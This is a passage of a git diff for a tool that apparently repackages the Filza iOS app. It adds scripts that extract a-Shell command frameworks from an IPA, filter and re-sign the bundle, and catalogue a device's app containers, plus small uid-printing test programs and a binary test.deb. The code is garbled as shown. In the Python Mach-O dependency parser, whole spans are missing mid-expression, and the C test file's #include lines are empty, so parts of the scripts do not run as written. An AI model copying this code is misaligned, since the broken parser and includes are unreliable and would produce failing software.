"$KEYCHAIN" ]] && sign_args+=(--keychain "$KEYCHAIN") +else + sign_args+=(--sign -) +fi + +while IFS= read -r -d '' candidate; do + if file -b "$candidate" | grep -q 'Mach-O'; then + codesign "${sign_args[@]}" "$candidate" + fi +done < <(find "$APP" -type f -perm +111 -print0) + +echo "==> Signing app" +codesign "${sign_args[@]}" --entitlements "$ENTITLEMENTS" "$APP" +codesign --verify --deep --strict "$APP" + +rm -f "$OUTPUT_IPA" +( + cd "$STAGE_ROOT/stage" + zip -qry "$OUTPUT_IPA" Payload +) +echo "==> Wrote $OUTPUT_IPA" +shasum -a 256 "$OUTPUT_IPA" diff --git a/scripts/prepare_dev_terminal.sh b/scripts/prepare_dev_terminal.sh new file mode 100755 index 0000000..73b3495 --- /dev/null +++ b/scripts/prepare_dev_terminal.sh @@ -0,0 +1,232 @@ +#!/bin/zsh +# Build the larger developer terminal payload: every a-Shell command except +# Python, Node.js, Lua/TeX (and commands that hard-depend on Python, such as +# vim and xxd). Resources for Perl/man/ImageMagick are kept. +# +# Usage: prepare_dev_terminal.sh [ashell-ipa] +set -euo pipefail + +APP="${1:A}" +ASHELL_IPA="${2:-$HOME/Downloads/Terminal.ipa}" +REPO_ROOT="${0:A:h:h}" +RES_SRC="$REPO_ROOT/../a-shell-master/Resources_mini" +[[ -d "$APP" ]] || { echo "app not found: $APP" >&2; exit 66; } +[[ -f "$ASHELL_IPA" ]] || { echo "a-Shell IPA not found: $ASHELL_IPA" >&2; exit 66; } +[[ -d "$RES_SRC" ]] || { echo "Resources_mini not found: $RES_SRC" >&2; exit 66; } + +python3 - "$APP" "$ASHELL_IPA" "$RES_SRC" <<'PY' +import os, re, shutil, struct, sys, zipfile, plistlib + +app, ipa, resources_mini = sys.argv[1], sys.argv[2], sys.argv[3] +z = zipfile.ZipFile(ipa) +names = z.namelist() +app_prefix = None +for n in names: + m = re.match(r'(Payload/[^/]+\.app/)', n) + if m: + app_prefix = m.group(1) + break +if not app_prefix: + raise SystemExit('cannot find app prefix in IPA') +print('IPA app:', app_prefix) + +def exclude_framework(name): + n = name.lower().replace('.framework', '') + if n.startswith('python') or n.startswith('python'): + return 'Python' + if n in ('node', 'npm', 'node-fetch'): + return 'Node.js' + if n in ('vim', 'xxd'): + return 'Python dependency' + tex_names = ('xetex', 'luatex', 'luahbtex', 'pdftex', 'euptex', + 'texlua53', 'texluajit', 'kpathsea', 'kpsewhich', 'bibtex', + 'metapost', 'mflua', 'mplib', 'mf') + if n in tex_names or n.startswith('lua') or ( + n.startswith('tex') and n != 'text'): + return 'TeX/Lua' + if n in ('libllvm', 'clang', 'lld', 'ar'): + return 'unused compiler' + if n in ('libgdal', 'openblas', 'libgfortran', 'libproj', 'libgeos', + 'libgeos_c', 'libspatialindex', 'libspatialindex_c'): + return 'Python geo/math' + # Duplicate variant frameworks (A/B/C/D/E) are runtime alternatives. + if re.search(r'(dash|perl|ssh_cmd|openrsync|xetex|luahbtex|luatex|pdftex|euptex)[A-E]$', n): + return 'duplicate variant' + return None + +fw_size = {} +fw_files = {} +for n in names: + if not n.startswith(app_prefix + 'Frameworks/'): + continue + rest = n[len(app_prefix + 'Frameworks/'):] + parts = rest.split('/') + if len(parts) < 2 or not parts[0].endswith('.framework'): + continue + fw = parts[0] + fw_size[fw] = fw_size.get(fw, 0) + z.getinfo(n).file_size + fw_files.setdefault(fw, []).append(n) + +def macho_deps(data): + out = [] + if len(data) < 32: + return out + magic = struct.unpack_from(' len(data): + break + cmd, size = struct.unpack_from(' len(data): + break + if (cmd & 0x7fffffff) in (0xc, 0x18, 0x1f, 0x23): + nameoff = struct.unpack_from(' start: + out.append(data[start:end].decode('utf-8', 'replace')) + off += size + elif magic in (0xcafebabe, 0xcafebabf): + n = struct.unpack_from('>I', data, 4)[0] + for i in range(n): + off = (struct.unpack_from('>I', data, 8 + i*20 + 8)[0] + if magic == 0xcafebabe else + struct.unpack_from('>Q', data, 8 + i*32 + 8)[0]) + out += macho_deps(data[off:]) + return out + +deps = {} +for fw, files in fw_files.items(): + base = fw[:-len('.framework')] + target = next((f for f in files if os.path.basename(f) == base), None) + if target is None: + continue + try: + for d in macho_deps(z.read(target)): + if '.framework/' in d: + deps.setdefault(fw, set()).add(d.split('/')[-2].replace('.framework', '') + '.framework') + except Exception: + pass + +cd = plistlib.loads(z.read(app_prefix + 'commandDictionary.plist')) +selected = set() +for cmd, info in cd.items(): + if not isinstance(info, list) or len(info) < 4: + continue + path = info[0] + if path == 'SELF': + continue + fw = path.split('/')[0] + if not fw.endswith('.framework'): + fw += '.framework' + if fw in fw_size and not exclude_framework(fw): + selected.add(fw) + +# add transitive dependencies +pending = list(selected) +while pending: + fw = pending.pop() + for d in deps.get(fw, ()): + if d in fw_size and d not in selected and not exclude_framework(d): + selected.add(d) + pending.append(d) + +print('selected frameworks:', len(selected), 'size:', round(sum(fw_size[f] for f in selected)/1e6, 1), 'MB') + +# extract frameworks +os.makedirs(os.path.join(app, 'Frameworks'), exist_ok=True) +for fw in sorted(selected): + dest = os.path.join(app, 'Frameworks', fw) + shutil.rmtree(dest, ignore_errors=True) + os.makedirs(dest, exist_ok=True) + for n in fw_files[fw]: + if '/_CodeSignature/' in n: + continue + rel = n[len(app_prefix + 'Frameworks/' + fw + '/'):] + if not rel: + continue + out = os.path.join(dest, rel) + if n.endswith('/'): + os.makedirs(out, exist_ok=True) + continue + os.makedirs(os.path.dirname(out), exist_ok=True) + info = z.getinfo(n) + with z.open(n) as src, open(out, 'wb') as dst: + shutil.copyfileobj(src, dst) + mode = (info.external_attr >> 16) & 0o777 + if mode: + os.chmod(out, mode) + +# resources +wqres = os.path.join(app, 'WQResources') +shutil.rmtree(wqres, ignore_errors=True) +os.makedirs(wqres, exist_ok=True) +for sub in ('bin', 'usr'): + src = os.path.join(resources_mini, sub) + if os.path.isdir(src): + shutil.copytree(src, os.path.join(wqres, sub), symlinks=True) + +# top-level a-Shell resources that are not Python/Node/TeX +for sub in ('Perl', 'man', 'task', 'terminfo', 'ImageMagick-7'): + dest = os.path.join(wqres, sub) + found = False + for n in names: + if n.startswith(app_prefix + sub + '/'): + if not found: + shutil.rmtree(dest, ignore_errors=True) + os.makedirs(dest, exist_ok=True) + found = True + rel = n[len(app_prefix + sub + '/'):] + if not rel: + continue + out = os.path.join(dest, rel) + if n.endswith('/'): + os.makedirs(out, exist_ok=True) + continue + os.makedirs(os.path.dirname(out), exist_ok=True) + info = z.getinfo(n) + with z.open(n) as src, open(out, 'wb') as dst: + shutil.copyfileobj(src, dst) + mode = (info.external_attr >> 16) & 0o777 + if mode: + os.chmod(out, mode) + if found: + print('resource:', sub) + +for name in ('cacert.pem',): + n = app_prefix + name + if n in z.NameToInfo: + with z.open(n) as src, open(os.path.join(wqres, name), 'wb') as dst: + shutil.copyfileobj(src, dst) + +# filtered command dictionary +out_cd = {} +for cmd, info in cd.items(): + if not isinstance(info, list) or len(info) < 4: + continue + path = info[0] + if path == 'SELF': + out_cd[cmd] = info + continue + fw = path.split('/')[0] + if not fw.endswith('.framework'): + fw += '.framework' + if fw in selected: + out_cd[cmd] = info +plistlib.dump(out_cd, open(os.path.join(app, 'commandDictionary.plist'), 'wb')) +print('commands kept:', len(out_cd), '/', len(cd)) + +# Remove zero-byte placeholders for excluded commands from WQResources/bin. +bin_dir = os.path.join(wqres, 'bin') +if os.path.isdir(bin_dir): + for name in os.listdir(bin_dir): + p = os.path.join(bin_dir, name) + if not os.path.isfile(p) or os.path.getsize(p) != 0: + continue + if name not in out_cd: + os.unlink(p) + +print('done') +PY diff --git a/scripts/prepare_mini_terminal.sh b/scripts/prepare_mini_terminal.sh new file mode 100755 index 0000000..fca979f --- /dev/null +++ b/scripts/prepare_mini_terminal.sh @@ -0,0 +1,67 @@ +#!/bin/zsh +# Copy the a-Shell mini ios_system runtime into a Filza app bundle. +# Usage: prepare_mini_terminal.sh [ashell-ipa] +set -euo pipefail + +APP="${1:A}" +ASHELL_IPA="${2:-$HOME/Downloads/Terminal.ipa}" +FRAMEWORKS=( + ios_system shell files text network_ios dash tar awk curl_ios jq bc_ios + calc xxd unrar openrsync mandoc task lua_ios lex lg2 multimarkdown pico + blink ssh_cmd ssh_agent vim +) + +[[ -d "$APP" ]] || { echo "app not found: $APP" >&2; exit 66; } +[[ -f "$ASHELL_IPA" ]] || { echo "a-Shell IPA not found: $ASHELL_IPA" >&2; exit 66; } + +TMP="$(mktemp -d /private/tmp/wq-mini.XXXXXX)" +trap 'rm -rf "$TMP"' EXIT +unzip -Z1 "$ASHELL_IPA" > "$TMP/list" +ASHELL_APPDIR="$(grep -m1 -E '^Payload/[^/]+\.app/' "$TMP/list" | cut -d/ -f1-2)" +[[ -n "$ASHELL_APPDIR" ]] || { echo "cannot locate app inside IPA" >&2; exit 65; } + +echo "==> Extracting mini command frameworks" +mkdir -p "$APP/Frameworks" +for framework in "${FRAMEWORKS[@]}"; do + archive_path="${ASHELL_APPDIR}/Frameworks/${framework}.framework" + if ! unzip -q "$ASHELL_IPA" "${archive_path}/*" -d "$TMP/extract" 2>/dev/null; then + echo " skip missing ${framework}.framework" + continue + fi + rm -rf "$APP/Frameworks/${framework}.framework" + cp -R "$TMP/extract/${archive_path}" "$APP/Frameworks/${framework}.framework" + rm -rf "$APP/Frameworks/${framework}.framework/_CodeSignature" + echo " ${framework}.framework" +done + +echo "==> Copying mini resources" +RES_SRC="${ASHELL_RESOURCES:-$(dirname "$0")/../Resources_mini}" +if [[ ! -d "$RES_SRC" ]]; then + RES_SRC="$(dirname "$0")/../../a-shell-master/Resources_mini" +fi +[[ -d "$RES_SRC" ]] || { echo "Resources_mini not found" >&2; exit 66; } +rm -rf "$APP/WQResources" +mkdir -p "$APP/WQResources" +cp -R "$RES_SRC/bin" "$APP/WQResources/bin" +cp -R "$RES_SRC/usr" "$APP/WQResources/usr" +chmod -R u+rwX "$APP/WQResources" + +echo "==> Filtering command dictionary" +python3 - "$RES_SRC/commandDictionary.plist" "$APP/commandDictionary.plist" "${FRAMEWORKS[@]}" <<'PY' +import plistlib, sys +source, destination = sys.argv[1], sys.argv[2] +selected = set(sys.argv[3:]) +d = plistlib.load(open(source, 'rb')) +out = {} +for command, info in d.items(): + if not isinstance(info, list) or len(info) < 4: + continue + path = info[0] + framework = path.split('/')[0].replace('.framework', '') + if path == 'SELF' or framework in selected: + out[command] = info +plistlib.dump(out, open(destination, 'wb')) +print(f"commands: {len(out)} / {len(d)}") +PY + +echo "==> Mini terminal payload ready: $(du -sh "$APP/Frameworks" "$APP/WQResources" | tr '\n' ' ')" diff --git a/scripts/refresh_device_catalog.sh b/scripts/refresh_device_catalog.sh new file mode 100755 index 0000000..74eab5b --- /dev/null +++ b/scripts/refresh_device_catalog.sh @@ -0,0 +1,50 @@ +#!/bin/zsh +set -euo pipefail + +if (( $# < 1 || $# > 2 )); then + echo "usage: $0 [output.plist]" >&2 + exit 64 +fi + +UDID="$1" +OUTPUT="${2:-/tmp/MCMIdentifiers.plist}" +PYMOBILEDEVICE3="${PYMOBILEDEVICE3:-pymobiledevice3}" +TEMP_JSON="$(mktemp /tmp/filza-mcm-apps.XXXXXX.json)" +trap 'trash "$TEMP_JSON"' EXIT + +"$PYMOBILEDEVICE3" apps list --type Any --udid "$UDID" > "$TEMP_JSON" +python3 - "$TEMP_JSON" "$OUTPUT" <<'PY' +import json +import plistlib +import re +import sys + +source, output = sys.argv[1:] +records = json.load(open(source, "r", encoding="utf-8")) +safe = re.compile(r"^[A-Za-z0-9._-]{1,255}$") +apps = set() +groups = set() +for map_key, record in records.items(): + if not isinstance(record, dict): + continue + identifier = record.get("CFBundleIdentifier") or map_key + if isinstance(identifier, str) and safe.fullmatch(identifier): + apps.add(identifier) + containers = record.get("GroupContainers") + if isinstance(containers, dict): + groups.update(key for key in containers if isinstance(key, str) and safe.fullmatch(key)) + +catalog = { + "AppData": sorted(apps), + "AppGroups": sorted(groups), + "ExtensionData": [], + "VPNData": [], + "ServiceData": [], + "SystemData": [], + "SystemGroups": [], + "ProtectedData": [], +} +with open(output, "wb") as stream: + plistlib.dump(catalog, stream, sort_keys=False) +print(f"wrote {output}: app_data={len(apps)} app_groups={len(groups)}") +PY diff --git a/tests/test b/tests/test new file mode 100755 index 0000000..0f1e656 --- /dev/null +++ b/tests/test @@ -0,0 +1,4 @@ +#!/bin/dash +echo "worse_query test executable OK" +echo "pwd: $(pwd)" +echo "uid: ${UID:-unknown}" diff --git a/tests/test.c b/tests/test.c new file mode 100644 index 0000000..407623c --- /dev/null +++ b/tests/test.c @@ -0,0 +1,8 @@ +#include +#include + +int main(void) { + printf("worse_query test executable OK\n"); + printf("uid=%d euid=%d gid=%d\n", getuid(), geteuid(), getgid()); + return 0; +} diff --git a/tests/test.deb b/tests/test.deb new file mode 100644 index 0000000000000000000000000000000000000000..77b3a2753ecca0447dd08cd9bc176754b312e317 GIT binary patch literal 1446000 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

L)4w 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 s~0n z3;MOS0=@`z7|CNZD(Ao83cU8NsKp6kNdA+5W!5H{iXQ>zazB=hfOR0mo>Z@!9=$o6 zUk2RnUSW9uKrIJr&V7Yc7twvHZ!6(LQ>=ct$8?=o^j}cj0w<>qA~iZ7p+5af19G!+ zVMjy4suex6B6E0*V7trdW|5`jDE|%iA}c7I*i3Pu$MHwS0IXlSPcPUbIrf3=IKUNq za08K?sK%Vl;5AeNqWJJftuVfMpeDZLS3 zAPX-w{R2hr3M#(23TI5AyKslEUm_okDyzFtOIj1${&S9xKHO>RxKUj8@~{uazvi3T<5 